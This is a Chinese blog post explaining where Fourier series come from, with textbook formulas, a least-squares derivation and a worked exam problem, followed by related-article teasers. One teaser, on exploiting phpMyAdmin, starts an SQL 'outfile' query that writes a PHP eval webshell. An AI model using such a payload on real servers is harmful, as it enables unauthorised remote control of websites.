傅立叶级数的意义--傅立叶级数是怎么来的

news2024/11/25 11:58:10

写这篇文章的起因是14年有道题目:
请添加图片描述
本题实质上是考察傅立叶级数的意义,因此要求扩大为不能只拘泥于傅里叶级数的计算相关问题,故作此篇。

一、课本上的内容

  1. 傅立叶级数:
    设函数 f ( x ) f(x) f(x)是周期为 2 l 2l 2l的周期函数,且在 [ − l , l ] [-l,l] [l,l]上可积,则称
    a n = 1 l ∫ − l l f ( x ) c o s n π x l d x ( n = 0 , 1 , 2 , . . . ) a_n=\frac{1}{l}\int_{-l}^{l}f(x)cos\frac{n\pi x}{l}dx (n=0, 1, 2, ...) an=l1llf(x)coslxdx(n=0,1,2,...)
    b n = 1 l ∫ − l l f ( x ) s i n n π x l d x ( n = 0 , 1 , 2 , . . . ) b_n=\frac{1}{l}\int_{-l}^{l}f(x)sin\frac{n\pi x}{l}dx (n=0, 1, 2, ...) bn=l1llf(x)sinlxdx(n=0,1,2,...)
    f ( x ) f(x) f(x)的以 2 l 2l 2l为周期的傅立叶系数,称级数
    a 0 2 + ∑ n = 1 ∞ ( a n c o s n π x l + b n s i n n π x l ) \frac{a_0}{2}+\sum_{n=1}^\infty (a_ncos\frac{n\pi x}{l}+b_nsin\frac{n\pi x}{l}) 2a0+n=1(ancoslx+bnsinlx)
    f ( x ) f(x) f(x)的以 2 l 2l 2l为周期的傅立叶级数,记作
    f ( x ) ∼ a 0 2 + ∑ n = 1 ∞ ( a n c o s n π x l + b n s i n n π x l ) f(x)\sim \frac{a_0}{2}+\sum_{n=1}^\infty (a_ncos\frac{n\pi x}{l}+b_nsin\frac{n\pi x}{l}) f(x)2a0+n=1(ancoslx+bnsinlx)
  2. 狄利克雷收敛定理
    f ( x ) f(x) f(x)是以 2 l 2l 2l为周期的可积函数,若在 [ − l , l ] [-l,l] [l,l]上满足:1)连续或只有有限个第一类间断点;2)至多只有有限个极值点,
    f ( x ) f(x) f(x)的傅立叶级数在 [ − l , l ] [-l,l] [l,l]上处处收敛,记其和函数为 S ( x ) S(x) S(x),则
    S ( x ) = { f ( x ) , x  为连续点, f ( x − 0 ) + f ( x + 0 ) 2 , x  为间断点, f ( − l + 0 ) + f ( l − 0 ) 2 , x = ± l . S(x)=\begin{cases}f(x),&x\text{ 为连续点,}\\[2ex]\dfrac{f(x-0)+f(x+0)}{2},&x\text{ 为间断点,}\\[2ex]\dfrac{f(-l+0)+f(l-0)}{2},&x=\pm l.\end{cases} S(x)= f(x),2f(x0)+f(x+0),2f(l+0)+f(l0),x 为连续点,x 为间断点,x=±l.
  3. 正弦级数和余弦级数
    f ( x ) ∼ a 0 2 + ∑ n = 1 ∞ ( a n c o s n π x l + b n s i n n π x l ) f(x)\sim \frac{a_0}{2}+\sum_{n=1}^\infty (a_ncos\frac{n\pi x}{l}+b_nsin\frac{n\pi x}{l}) f(x)2a0+n=1(ancoslx+bnsinlx)
    { a 0 = 1 l ∫ − l l f ( x ) d x a n = 1 l ∫ − l l f ( x ) cos ⁡ n π x l d x , n = 1 , 2 , . . . b n = 1 l ∫ − l l f ( x ) sin ⁡ n π x l d x , n = 1 , 2 , . . . \begin{cases}a_0=\frac{1}{l}\int_{-l}^lf(x)dx \\[2ex]a_n=\frac{1}{l}\int_{-l}^lf(x)\cos \dfrac{n\pi x}{l}dx,n=1,2,... \\[2ex]b_n=\frac{1}{l}\int_{-l}^lf(x)\sin \dfrac{n\pi x}{l}dx,n=1,2,... \end{cases} a0=l1llf(x)dxan=l1llf(x)coslxdx,n=1,2,...bn=l1llf(x)sinlxdx,n=1,2,...
    • 当f(x)为奇函数时,其展开式是正弦级数
      f ( x ) ∼ ∑ n = 1 ∞ b n s i n n π x l , b n = 2 l ∫ 0 l f ( x ) s i n n π x l d x , n = 1 , 2 , . . . f(x)\sim \sum_{n=1}^\infty b_nsin\frac{n\pi x}{l},b_n=\frac{2}{l}\int_0^lf(x)sin\frac{n\pi x}{l}dx,n=1, 2, ... f(x)n=1bnsinlxbn=l20lf(x)sinlxdx,n=1,2,...
    • 当f(x)为偶函数时,其展开式是余弦级数
      f ( x ) ∼ a 0 2 + ∑ n = 1 ∞ a n cos ⁡ n π x l f(x)\sim \frac{a_0}{2}+\sum_{n=1}^\infty a_n\cos \frac{n\pi x}{l} f(x)2a0+n=1ancoslx
      a 0 = 2 l ∫ 0 l f ( x ) d x , a n = 2 l ∫ 0 l f ( x ) cos ⁡ n π x l d x , n = 1 , 2 , . . . a_0=\frac{2}{l}\int_{0}^lf(x)dx,a_n=\frac{2}{l}\int_0^lf(x)\cos \frac{n\pi x}{l}dx, n=1, 2, ... a0=l20lf(x)dx,an=l20lf(x)coslxdx,n=1,2,...

二、傅立叶级数是怎么来的

一个函数可以由若干三角函数的和来逼近,即
f ( x ) ≈ c 1 g 1 ( x ) + c 2 g 2 ( x ) + . . . + c n g n ( x ) f(x)\approx c_1g_1(x)+c_2g_2(x)+...+c_ng_n(x) f(x)c1g1(x)+c2g2(x)+...+cngn(x)
那么如何才能找到最合适的解,使得上式约等于符号左右两边最大限度地逼近呢?

做法是使二者的均方误差最小,即令下式最小:
ϵ 2 = 1 x 2 − x 1 ∫ x 1 x 2 [ f ( x ) − ∑ j = 1 n c j g i ( x ) ] 2 d x \epsilon^2=\frac{1}{x_2-x_1}\int_{x_1}^{x_2}[f(x)-\sum_{j=1}^nc_jg_i(x)]^2dx ϵ2=x2x11x1x2[f(x)j=1ncjgi(x)]2dx
即令下式为零
∂ ϵ 2 ∂ c j = 0 \frac{\partial \epsilon^2}{\partial c_{j}}=0 cjϵ2=0
(这里详细的推导有空再写)
总之求导并使导数为零后,就能求出来傅立叶系数的值,因此也就有了最终的傅立叶级数的格式。

换句话来说,已知周期函数可用一系列三角函数之和来表示,这个和式就是傅立叶级数,而三角函数前面的系数就是傅立叶系数。傅立叶系数的选择,是为了使 I n = ∫ − π π [ f ( x ) − f n ( x ) ] 2 d x I_n=\int_{-\pi}^\pi [f(x)-f_n(x)]^2dx In=ππ[f(x)fn(x)]2dx达到最小

三、一些结论和回归本题

由上可知傅立叶级数的本质是用一系列三角函数去逼近一个周期函数。

了解这个之后,对于上面的题目,可以很轻松地看出等号右面的式子就是在算 f ( x ) = x f(x)=x f(x)=x g ( x ) = a c o s x + b s i n x g(x)=acosx+bsinx g(x)=acosx+bsinx这两个函数的逼近程度。取min值,就是在找最逼近的情况下,三角函数之前的系数是多少。

而由上可知,傅立叶级数的推导过程(实质上是傅立叶系数的推导过程),就是在令导数为零后求其系数值。也就是在求最逼近的一系列三角函数,其前面的系数是多少。

因此知这道题就是在求傅立叶系数。

再由项的数量和 cos ⁡ n π x l = cos ⁡ x \cos\frac{n\pi x}{l}=\cos x coslx=cosx可知让算的是n=1时的傅立叶系数(即正如题目中的名字一样,是傅立叶系数中的 a 1 a_1 a1 b 1 b_1 b1

由公式知
a 1 = 1 l ∫ − l l f ( x ) cos ⁡ n π x l d x = 1 π ∫ − π π x cos ⁡ x d x = 0 a_1=\frac{1}{l}\int_{-l}^{l}f(x)\cos \frac{n\pi x}{l}dx=\frac{1}{\pi}\int_{-\pi}^{\pi}x\cos xdx=0 a1=l1llf(x)coslxdx=π1ππxcosxdx=0
b 1 = 1 l ∫ − l l f ( x ) sin ⁡ n π x l d x = 1 π ∫ − π π x sin ⁡ x d x = 2 b_1=\frac{1}{l}\int_{-l}^{l}f(x)\sin \frac{n\pi x}{l}dx=\frac{1}{\pi}\int_{-\pi}^{\pi}x\sin xdx=2 b1=l1llf(x)sinlxdx=π1ππxsinxdx=2
所以得 a 1 cos ⁡ x + b 1 sin ⁡ x = 2 sin ⁡ x a_1\cos x+b_1\sin x=2\sin x a1cosx+b1sinx=2sinx,故选A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1147269.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis队列Stream

1 缘起 项目中处理文件的场景: 将文件处理请求放入队列, 一方面,缓解服务器文件处理压力; 另一方面,可以根据文件大小拆分到不同的队列,提高文件处理效率。 这是Java开发组Leader佳汇提出的文件处理方案&a…

了解性能测试流程

性能测试概念 我们经常看到的性能测试概念,有人或称之为性能策略,或称之为性能方法,或称之为性能场景分类,大概可以看到性能测试、负载测试、压力测试、强度测试等一堆专有名词的解释。 针对这些概念,我不知道你看到…

【数据分析】上市公司半年报数据分析

前言 前文介绍过使用网络技术获取上市公司半年报数据的方法,本文将对获取到的数据进行简要的数据分析。 获取数据的代码介绍在下面的两篇文章中 【java爬虫】使用selenium获取某交易所公司半年报数据-CSDN博客 【java爬虫】公司半年报数据展示-CSDN博客 全量数…

【uniapp】JavaScript基础学习-20231027

今天有找到一个比较好的网站 https://www.w3school.com.cn/js/index.asp 介绍也全面,内容也比较多。我觉得把最基本的语法看看,然后可以上手写代码了。其他的就是需要靠长期的学习和积累了。 基础语法的使用: 1、定义一个变量 2、对变量赋值 …

拿到 phpMyAdmin 如何获取权限

文章目录 拿到 phpMyAdmin 如何获取权限1. outfile 写一句话木马2. general_log_file 写一句话木马 拿到 phpMyAdmin 如何获取权限 1. outfile 写一句话木马 尝试使用SQL注入写文件的方式&#xff0c;执行 outfile 语句写入一句话木马。 select "<?php eval($_REQU…

10.29数算小复习(选择题细节,二路归并,结构体排序)

排序、复杂度、细节&#xff08;选择题&#xff0c;判断题&#xff09; 对于一个已经排好序的序列&#xff0c;直接插入排序的复杂度是O(n)&#xff0c;而归并排序的复杂度是O(nlogn)。这时候归并排序就不比直接插入排序速度快了。 归并排序的最好、最坏、平均时间都是O(nlogn)…

【Spring】Spring MVC请求响应

文章目录 1. 请求1.1 传递单个参数1.2 传递多个参数1.3 传递对象1.4 后端参数重命名1.5 传递数组1.6 传递集合1.7 传递JSON对象1.8 获取URL中参数1.9 上传⽂件1.10 获得Cookie1.11 获得Session1.12 获得Header 2. 响应2.1 返回静态界面2.2 返回数据2.3 返回HTML代码片段2.4 返回…

微机原理:汇编语言程序设计

文章目录 一、汇编格式1、文字简述2、代码表述 二、汇编语言结构说明1、方式选择伪指令2、段定义语句3、段约定语句4、汇编结束语句5、返回DOS语句 三、实例1、例子2、汇编语言程序开发过程 四、功能调用DOS功能调用1、功能号01H2、功能号02H3、功能号09H4、功能号0AH5、举例 B…

操作系统——二级页表(王道视频p50)

1.总体概述&#xff1a; 2.二级页表的工作原理——如何实现一个逻辑地址到物理地址的转换 具体工作原理(有一个地方没有弄明白——就是到底是如何通过顶级页表找到 二级页表项的&#xff1f;)

el-input 给icon图标绑定点击事件

选择suffix-icon&#xff0c;添加点击事件 <temeplate><el-form-item :label"$t(company[Company address])" prop"address"><el-input v-model"enterpriseForm.address"><i slot"suffix" class"el-icon-m…

联邦学习与推荐系统

[Personalized Federated Recommendation via Joint Representation Learning, User Clustering, and Model Adaptation] (https://dl.acm.org/doi/abs/10.1145/3511808.3557668) CIKM2022(CCF-B) 论文精读 Abstract 联邦推荐的背景&#xff1a;联邦推荐使用联邦学习技术在推…

四十、【进阶】索引失效情况2

1、or的使用 在使用索引查询时&#xff0c;如果使用了or&#xff0c;会出现以下情况&#xff1a; &#xff08;情况一&#xff09;or左边是索引查询&#xff0c;or右边不是索引查询 结果&#xff1a;索引查询失效 &#xff08;情况二&#xff09;or左边不是索引查询&#x…

Java字节码技术

Java 字节码简介 Java 中的字节码&#xff0c;英文名为 bytecode, 是 Java 代码编译后的中间代码格式。JVM 需要读取并解析字节码才能执行相应的任务。 从技术人员的角度看&#xff0c;Java 字节码是 JVM 的指令集。JVM 加载字节码格式的 class 文件&#xff0c;校验之后通过 J…

B. Qingshan Loves Strings(贪心规律)

Problem - B - Codeforces 解析&#xff1a; 首先判断 t 字符串是不是相邻不同并且两端不同。 然后遍历 s 并且判断每一个相邻的相同字符&#xff0c;必须 t 字符符合并且两侧不同。 #include<bits/stdc.h> using namespace std; #define int long long const int N2e55…

私有云:【15】Composer安装无法使用cloudadmin进行下去

私有云&#xff1a;【15】Composer安装无法使用cloudadmin进行下去 1、Composer安装提示不支持windows授权2、这时候别退出3、稍微等待一会儿即可安装完成 1、Composer安装提示不支持windows授权 2、这时候别退出 上一步确定完之后&#xff0c;下一步让进行安装&#xff0c;不…

【软件测试02】测试方法

测试方法 学习目标&#xff1a; 1、能对穷举场景设计测试点---等价类划分法 2、能对限定边界规则设计测试点---边界值分析法 3、能对多条件依赖关系进行设计测试点---判定表法 4、能对项目业务进行设计测试点 一、等价类划分法 1、说明&#xff1a;在所有的测试数据中&am…

Spring更加简单的读取和存储对象

前言&#xff1a;在上篇文章中&#xff0c;小编写了一个Spring的创建和使用的相关博客&#xff1a;Spring的创建和使用-CSDN博客&#xff0c;但是&#xff0c;操作/思路比较麻烦&#xff0c;那么本文主要带领大家走进&#xff1a;Spring更加简单的读取和存储对象&#xff01; 本…

【数据结构】数组和字符串(十):稀疏矩阵的链接存储:十字链表的矩阵操作(加法、乘法、转置)

文章目录 4.2.1 矩阵的数组表示4.2.2 特殊矩阵的压缩存储a. 对角矩阵的压缩存储b~c. 三角、对称矩阵的压缩存储d. 稀疏矩阵的压缩存储——三元组表4.2.3三元组表的转置、加法、乘法、操作4.2.4十字链表0. 十字链表的基本操作1. 矩阵加法2. 矩阵乘法3. 矩阵转置4. 主函数 5. 代码…

linux 系统编程复习07-信号

1 复习目标 了解信号中的基本概念熟练使用信号相关的函数参考文档使用信号集操作相关函数熟练使用信号捕捉函数signal熟练使用信号捕捉函数sigaction熟练掌握使用信号完成子进程的回收 信号介绍 信号的概念 信号是信息的载体&#xff0c;Linux/UNIX 环境下&#xff0c;古老…

【C语言】优化通讯录管理系统

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家优化上一篇的通讯录&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一. 前言二. 动态通讯录2.1 通讯录结构体2.2 初始化通讯录2.3 增加联系人2.4 销毁通讯…